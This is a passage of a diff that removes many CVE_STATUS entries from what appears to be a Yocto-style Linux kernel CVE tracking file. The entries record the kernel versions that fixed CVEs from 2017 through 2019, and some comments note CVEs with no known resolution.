-CVE_STATUS[CVE-2017-18017] = "fixed-version: Fixed from version 4.11rc7"
-
-CVE_STATUS[CVE-2017-18075] = "fixed-version: Fixed from version 4.15rc7"
-
-CVE_STATUS[CVE-2017-18079] = "fixed-version: Fixed from version 4.13rc1"
-
-# CVE-2017-18169 has no known resolution
-
-CVE_STATUS[CVE-2017-18174] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2017-18193] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-18200] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-18202] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2017-18203] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-18204] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-18208] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2017-18216] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-18218] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-18221] = "fixed-version: Fixed from version 4.12rc4"
-
-CVE_STATUS[CVE-2017-18222] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-18224] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2017-18232] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2017-18241] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-18249] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-18255] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-18257] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-18261] = "fixed-version: Fixed from version 4.13rc6"
-
-CVE_STATUS[CVE-2017-18270] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-18344] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2017-18360] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-18379] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2017-18509] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-18549] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-18550] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-18551] = "fixed-version: Fixed from version 4.15rc9"
-
-CVE_STATUS[CVE-2017-18552] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-18595] = "fixed-version: Fixed from version 4.15rc6"
-
-CVE_STATUS[CVE-2017-2583] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-2584] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-2596] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-2618] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-2634] = "fixed-version: Fixed from version 2.6.25rc1"
-
-CVE_STATUS[CVE-2017-2636] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2017-2647] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2017-2671] = "fixed-version: Fixed from version 4.11rc6"
-
-CVE_STATUS[CVE-2017-5123] = "fixed-version: Fixed from version 4.14rc5"
-
-CVE_STATUS[CVE-2017-5546] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-5547] = "fixed-version: Fixed from version 4.10rc5"
-
-CVE_STATUS[CVE-2017-5548] = "fixed-version: Fixed from version 4.10rc5"
-
-CVE_STATUS[CVE-2017-5549] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-5550] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-5551] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-5576] = "fixed-version: Fixed from version 4.10rc6"
-
-CVE_STATUS[CVE-2017-5577] = "fixed-version: Fixed from version 4.10rc6"
-
-CVE_STATUS[CVE-2017-5669] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-5715] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2017-5753] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2017-5754] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2017-5897] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-5967] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-5970] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-5972] = "fixed-version: Fixed from version 4.4rc1"
-
-CVE_STATUS[CVE-2017-5986] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-6001] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-6074] = "fixed-version: Fixed from version 4.10"
-
-CVE_STATUS[CVE-2017-6214] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-6345] = "fixed-version: Fixed from version 4.10"
-
-CVE_STATUS[CVE-2017-6346] = "fixed-version: Fixed from version 4.10"
-
-CVE_STATUS[CVE-2017-6347] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-6348] = "fixed-version: Fixed from version 4.10"
-
-CVE_STATUS[CVE-2017-6353] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-6874] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2017-6951] = "fixed-version: Fixed from version 3.18rc1"
-
-CVE_STATUS[CVE-2017-7184] = "fixed-version: Fixed from version 4.11rc5"
-
-CVE_STATUS[CVE-2017-7187] = "fixed-version: Fixed from version 4.11rc5"
-
-CVE_STATUS[CVE-2017-7261] = "fixed-version: Fixed from version 4.11rc6"
-
-CVE_STATUS[CVE-2017-7273] = "fixed-version: Fixed from version 4.10rc4"
-
-CVE_STATUS[CVE-2017-7277] = "fixed-version: Fixed from version 4.11rc4"
-
-CVE_STATUS[CVE-2017-7294] = "fixed-version: Fixed from version 4.11rc6"
-
-CVE_STATUS[CVE-2017-7308] = "fixed-version: Fixed from version 4.11rc6"
-
-CVE_STATUS[CVE-2017-7346] = "fixed-version: Fixed from version 4.12rc5"
-
-# CVE-2017-7369 has no known resolution
-
-CVE_STATUS[CVE-2017-7374] = "fixed-version: Fixed from version 4.11rc4"
-
-CVE_STATUS[CVE-2017-7472] = "fixed-version: Fixed from version 4.11rc8"
-
-CVE_STATUS[CVE-2017-7477] = "fixed-version: Fixed from version 4.11"
-
-CVE_STATUS[CVE-2017-7482] = "fixed-version: Fixed from version 4.12rc7"
-
-CVE_STATUS[CVE-2017-7487] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-7495] = "fixed-version: Fixed from version 4.7rc1"
-
-CVE_STATUS[CVE-2017-7518] = "fixed-version: Fixed from version 4.12rc7"
-
-CVE_STATUS[CVE-2017-7533] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-7541] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-7542] = "fixed-version: Fixed from version 4.13rc2"
-
-CVE_STATUS[CVE-2017-7558] = "fixed-version: Fixed from version 4.13"
-
-CVE_STATUS[CVE-2017-7616] = "fixed-version: Fixed from version 4.11rc6"
-
-CVE_STATUS[CVE-2017-7618] = "fixed-version: Fixed from version 4.11rc8"
-
-CVE_STATUS[CVE-2017-7645] = "fixed-version: Fixed from version 4.11"
-
-CVE_STATUS[CVE-2017-7889] = "fixed-version: Fixed from version 4.11rc7"
-
-CVE_STATUS[CVE-2017-7895] = "fixed-version: Fixed from version 4.11"
-
-CVE_STATUS[CVE-2017-7979] = "fixed-version: Fixed from version 4.11rc8"
-
-CVE_STATUS[CVE-2017-8061] = "fixed-version: Fixed from version 4.11rc4"
-
-CVE_STATUS[CVE-2017-8062] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2017-8063] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-8064] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-8065] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-8066] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-8067] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2017-8068] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-8069] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-8070] = "fixed-version: Fixed from version 4.10rc8"
-
-CVE_STATUS[CVE-2017-8071] = "fixed-version: Fixed from version 4.10rc7"
-
-CVE_STATUS[CVE-2017-8072] = "fixed-version: Fixed from version 4.10rc7"
-
-CVE_STATUS[CVE-2017-8106] = "fixed-version: Fixed from version 3.16rc1"
-
-CVE_STATUS[CVE-2017-8240] = "fixed-version: Fixed from version 3.19rc6"
-
-# CVE-2017-8242 has no known resolution
-
-# CVE-2017-8244 has no known resolution
-
-# CVE-2017-8245 has no known resolution
-
-# CVE-2017-8246 has no known resolution
-
-CVE_STATUS[CVE-2017-8797] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-8824] = "fixed-version: Fixed from version 4.15rc3"
-
-CVE_STATUS[CVE-2017-8831] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-8890] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-8924] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2017-8925] = "fixed-version: Fixed from version 4.11rc2"
-
-CVE_STATUS[CVE-2017-9059] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-9074] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-9075] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-9076] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-9077] = "fixed-version: Fixed from version 4.12rc2"
-
-CVE_STATUS[CVE-2017-9150] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2017-9211] = "fixed-version: Fixed from version 4.12rc3"
-
-CVE_STATUS[CVE-2017-9242] = "fixed-version: Fixed from version 4.12rc3"
-
-CVE_STATUS[CVE-2017-9605] = "fixed-version: Fixed from version 4.12rc5"
-
-CVE_STATUS[CVE-2017-9725] = "fixed-version: Fixed from version 4.3rc7"
-
-CVE_STATUS[CVE-2017-9984] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-9985] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2017-9986] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2018-1000004] = "fixed-version: Fixed from version 4.15rc9"
-
-CVE_STATUS[CVE-2018-1000026] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-1000028] = "fixed-version: Fixed from version 4.15"
-
-CVE_STATUS[CVE-2018-1000199] = "fixed-version: Fixed from version 4.16"
-
-CVE_STATUS[CVE-2018-1000200] = "fixed-version: Fixed from version 4.17rc5"
-
-CVE_STATUS[CVE-2018-1000204] = "fixed-version: Fixed from version 4.17rc7"
-
-CVE_STATUS[CVE-2018-10021] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-10074] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-10087] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2018-10124] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2018-10322] = "fixed-version: Fixed from version 4.17rc4"
-
-CVE_STATUS[CVE-2018-10323] = "fixed-version: Fixed from version 4.17rc4"
-
-CVE_STATUS[CVE-2018-1065] = "fixed-version: Fixed from version 4.16rc3"
-
-CVE_STATUS[CVE-2018-1066] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2018-10675] = "fixed-version: Fixed from version 4.13rc6"
-
-CVE_STATUS[CVE-2018-1068] = "fixed-version: Fixed from version 4.16rc5"
-
-CVE_STATUS[CVE-2018-10840] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-10853] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-1087] = "fixed-version: Fixed from version 4.16rc7"
-
-# CVE-2018-10872 has no known resolution
-
-CVE_STATUS[CVE-2018-10876] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10877] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10878] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10879] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10880] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10881] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10882] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10883] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-10901] = "fixed-version: Fixed from version 2.6.36rc1"
-
-CVE_STATUS[CVE-2018-10902] = "fixed-version: Fixed from version 4.18rc6"
-
-CVE_STATUS[CVE-2018-1091] = "fixed-version: Fixed from version 4.14rc2"
-
-CVE_STATUS[CVE-2018-1092] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-1093] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-10938] = "fixed-version: Fixed from version 4.13rc5"
-
-CVE_STATUS[CVE-2018-1094] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-10940] = "fixed-version: Fixed from version 4.17rc3"
-
-CVE_STATUS[CVE-2018-1095] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-1108] = "fixed-version: Fixed from version 4.17rc2"
-
-CVE_STATUS[CVE-2018-1118] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-1120] = "fixed-version: Fixed from version 4.17rc6"
-
-# CVE-2018-1121 has no known resolution
-
-CVE_STATUS[CVE-2018-11232] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2018-1128] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-1129] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-1130] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-11412] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-11506] = "fixed-version: Fixed from version 4.17rc7"
-
-CVE_STATUS[CVE-2018-11508] = "fixed-version: Fixed from version 4.17rc5"
-
-# CVE-2018-11987 has no known resolution
-
-CVE_STATUS[CVE-2018-12126] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2018-12127] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2018-12130] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2018-12207] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2018-12232] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-12233] = "fixed-version: Fixed from version 4.18rc2"
-
-CVE_STATUS[CVE-2018-12633] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-12714] = "fixed-version: Fixed from version 4.18rc2"
-
-CVE_STATUS[CVE-2018-12896] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-12904] = "fixed-version: Fixed from version 4.18rc1"
-
-# CVE-2018-12928 has no known resolution
-
-# CVE-2018-12929 has no known resolution
-
-# CVE-2018-12930 has no known resolution
-
-# CVE-2018-12931 has no known resolution
-
-CVE_STATUS[CVE-2018-13053] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13093] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-13094] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-13095] = "fixed-version: Fixed from version 4.18rc3"
-
-CVE_STATUS[CVE-2018-13096] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13097] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13098] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13099] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13100] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-13405] = "fixed-version: Fixed from version 4.18rc4"
-
-CVE_STATUS[CVE-2018-13406] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-14609] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14610] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14611] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14612] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14613] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14614] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14615] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14616] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14617] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-14619] = "fixed-version: Fixed from version 4.15rc4"
-
-CVE_STATUS[CVE-2018-14625] = "fixed-version: Fixed from version 4.20rc6"
-
-CVE_STATUS[CVE-2018-14633] = "fixed-version: Fixed from version 4.19rc6"
-
-CVE_STATUS[CVE-2018-14634] = "fixed-version: Fixed from version 4.13rc1"
-
-CVE_STATUS[CVE-2018-14641] = "fixed-version: Fixed from version 4.19rc4"
-
-CVE_STATUS[CVE-2018-14646] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2018-14656] = "fixed-version: Fixed from version 4.19rc2"
-
-CVE_STATUS[CVE-2018-14678] = "fixed-version: Fixed from version 4.18rc8"
-
-CVE_STATUS[CVE-2018-14734] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-15471] = "fixed-version: Fixed from version 4.19rc7"
-
-CVE_STATUS[CVE-2018-15572] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-15594] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-16276] = "fixed-version: Fixed from version 4.18rc5"
-
-CVE_STATUS[CVE-2018-16597] = "fixed-version: Fixed from version 4.8rc1"
-
-CVE_STATUS[CVE-2018-16658] = "fixed-version: Fixed from version 4.19rc2"
-
-CVE_STATUS[CVE-2018-16862] = "fixed-version: Fixed from version 4.20rc5"
-
-CVE_STATUS[CVE-2018-16871] = "fixed-version: Fixed from version 4.20rc3"
-
-CVE_STATUS[CVE-2018-16880] = "fixed-version: Fixed from version 5.0rc5"
-
-CVE_STATUS[CVE-2018-16882] = "fixed-version: Fixed from version 4.20"
-
-CVE_STATUS[CVE-2018-16884] = "fixed-version: Fixed from version 5.0rc1"
-
-# CVE-2018-16885 has no known resolution
-
-CVE_STATUS[CVE-2018-17182] = "fixed-version: Fixed from version 4.19rc4"
-
-CVE_STATUS[CVE-2018-17972] = "fixed-version: Fixed from version 4.19rc7"
-
-# CVE-2018-17977 has no known resolution
-
-CVE_STATUS[CVE-2018-18021] = "fixed-version: Fixed from version 4.19rc7"
-
-CVE_STATUS[CVE-2018-18281] = "fixed-version: Fixed from version 4.19"
-
-CVE_STATUS[CVE-2018-18386] = "fixed-version: Fixed from version 4.15rc6"
-
-CVE_STATUS[CVE-2018-18397] = "fixed-version: Fixed from version 4.20rc5"
-
-CVE_STATUS[CVE-2018-18445] = "fixed-version: Fixed from version 4.19rc7"
-
-CVE_STATUS[CVE-2018-18559] = "fixed-version: Fixed from version 4.15rc2"
-
-# CVE-2018-18653 has no known resolution
-
-CVE_STATUS[CVE-2018-18690] = "fixed-version: Fixed from version 4.17rc4"
-
-CVE_STATUS[CVE-2018-18710] = "fixed-version: Fixed from version 4.20rc1"
-
-CVE_STATUS[CVE-2018-18955] = "fixed-version: Fixed from version 4.20rc2"
-
-CVE_STATUS[CVE-2018-19406] = "fixed-version: Fixed from version 4.20rc5"
-
-CVE_STATUS[CVE-2018-19407] = "fixed-version: Fixed from version 4.20rc5"
-
-CVE_STATUS[CVE-2018-19824] = "fixed-version: Fixed from version 4.20rc6"
-
-CVE_STATUS[CVE-2018-19854] = "fixed-version: Fixed from version 4.20rc3"
-
-CVE_STATUS[CVE-2018-19985] = "fixed-version: Fixed from version 4.20"
-
-CVE_STATUS[CVE-2018-20169] = "fixed-version: Fixed from version 4.20rc6"
-
-CVE_STATUS[CVE-2018-20449] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2018-20509] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2018-20510] = "fixed-version: Fixed from version 4.16rc3"
-
-CVE_STATUS[CVE-2018-20511] = "fixed-version: Fixed from version 4.19rc5"
-
-CVE_STATUS[CVE-2018-20669] = "fixed-version: Fixed from version 5.0rc1"
-
-CVE_STATUS[CVE-2018-20784] = "fixed-version: Fixed from version 5.0rc1"
-
-CVE_STATUS[CVE-2018-20836] = "fixed-version: Fixed from version 4.20rc1"
-
-CVE_STATUS[CVE-2018-20854] = "fixed-version: Fixed from version 4.20rc1"
-
-CVE_STATUS[CVE-2018-20855] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-20856] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-20961] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-20976] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-21008] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2018-25015] = "fixed-version: Fixed from version 4.15rc9"
-
-CVE_STATUS[CVE-2018-25020] = "fixed-version: Fixed from version 4.17rc7"
-
-# CVE-2018-3574 has no known resolution
-
-CVE_STATUS[CVE-2018-3620] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-3639] = "fixed-version: Fixed from version 4.17rc7"
-
-CVE_STATUS[CVE-2018-3646] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-3665] = "fixed-version: Fixed from version 3.7rc1"
-
-CVE_STATUS[CVE-2018-3693] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-5332] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2018-5333] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2018-5344] = "fixed-version: Fixed from version 4.15rc8"
-
-CVE_STATUS[CVE-2018-5390] = "fixed-version: Fixed from version 4.18rc7"
-
-CVE_STATUS[CVE-2018-5391] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-5703] = "fixed-version: Fixed from version 4.16rc5"
-
-CVE_STATUS[CVE-2018-5750] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-5803] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-5814] = "fixed-version: Fixed from version 4.17rc6"
-
-CVE_STATUS[CVE-2018-5848] = "fixed-version: Fixed from version 4.16rc1"
-
-# Skipping CVE-2018-5856, no affected_versions
-
-CVE_STATUS[CVE-2018-5873] = "fixed-version: Fixed from version 4.11rc8"
-
-CVE_STATUS[CVE-2018-5953] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2018-5995] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2018-6412] = "fixed-version: Fixed from version 4.16rc5"
-
-CVE_STATUS[CVE-2018-6554] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2018-6555] = "fixed-version: Fixed from version 4.17rc1"
-
-# CVE-2018-6559 has no known resolution
-
-CVE_STATUS[CVE-2018-6927] = "fixed-version: Fixed from version 4.15rc9"
-
-CVE_STATUS[CVE-2018-7191] = "fixed-version: Fixed from version 4.14rc6"
-
-CVE_STATUS[CVE-2018-7273] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2018-7480] = "fixed-version: Fixed from version 4.11rc1"
-
-CVE_STATUS[CVE-2018-7492] = "fixed-version: Fixed from version 4.15rc3"
-
-CVE_STATUS[CVE-2018-7566] = "fixed-version: Fixed from version 4.16rc2"
-
-CVE_STATUS[CVE-2018-7740] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-7754] = "fixed-version: Fixed from version 4.15rc2"
-
-CVE_STATUS[CVE-2018-7755] = "fixed-version: Fixed from version 4.19rc5"
-
-CVE_STATUS[CVE-2018-7757] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-7995] = "fixed-version: Fixed from version 4.16rc5"
-
-CVE_STATUS[CVE-2018-8043] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-8087] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2018-8781] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-8822] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-8897] = "fixed-version: Fixed from version 4.16rc7"
-
-CVE_STATUS[CVE-2018-9363] = "fixed-version: Fixed from version 4.19rc1"
-
-CVE_STATUS[CVE-2018-9385] = "fixed-version: Fixed from version 4.17rc3"
-
-CVE_STATUS[CVE-2018-9415] = "fixed-version: Fixed from version 4.17rc3"
-
-CVE_STATUS[CVE-2018-9422] = "fixed-version: Fixed from version 4.6rc1"
-
-CVE_STATUS[CVE-2018-9465] = "fixed-version: Fixed from version 4.15rc6"
-
-CVE_STATUS[CVE-2018-9516] = "fixed-version: Fixed from version 4.18rc5"
-
-CVE_STATUS[CVE-2018-9517] = "fixed-version: Fixed from version 4.14rc1"
-
-CVE_STATUS[CVE-2018-9518] = "fixed-version: Fixed from version 4.16rc3"
-
-CVE_STATUS[CVE-2018-9568] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2019-0136] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-0145] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-0146] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-0147] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-0148] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-0149] = "fixed-version: Fixed from version 5.3rc1"
-
-CVE_STATUS[CVE-2019-0154] = "fixed-version: Fixed from version 5.4rc8"
-
-CVE_STATUS[CVE-2019-0155] = "fixed-version: Fixed from version 5.4rc8"
-
-CVE_STATUS[CVE-2019-10124] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-10125] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-10126] = "fixed-version: Fixed from version 5.2rc6"
-
-# CVE-2019-10140 has no known resolution
-
-CVE_STATUS[CVE-2019-10142] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-10207] = "fixed-version: Fixed from version 5.3rc3"
-
-CVE_STATUS[CVE-2019-10220] = "fixed-version: Fixed from version 5.4rc2"
-
-CVE_STATUS[CVE-2019-10638] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-10639] = "fixed-version: Fixed from version 5.1rc4"
-
-CVE_STATUS[CVE-2019-11085] = "fixed-version: Fixed from version 5.0rc3"
-
-CVE_STATUS[CVE-2019-11091] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2019-11135] = "fixed-version: Fixed from version 5.4rc8"
-
-CVE_STATUS[CVE-2019-11190] = "fixed-version: Fixed from version 4.8rc5"
-
-CVE_STATUS[CVE-2019-11191] = "fixed-version: Fixed from version 5.1rc1"
-
-CVE_STATUS[CVE-2019-1125] = "fixed-version: Fixed from version 5.3rc4"
-
-CVE_STATUS[CVE-2019-11477] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-11478] = "fixed-version: Fixed from version 5.2rc6"
-
-CVE_STATUS[CVE-2019-11479] = "fixed-version: Fixed from version 5.2rc6"
-
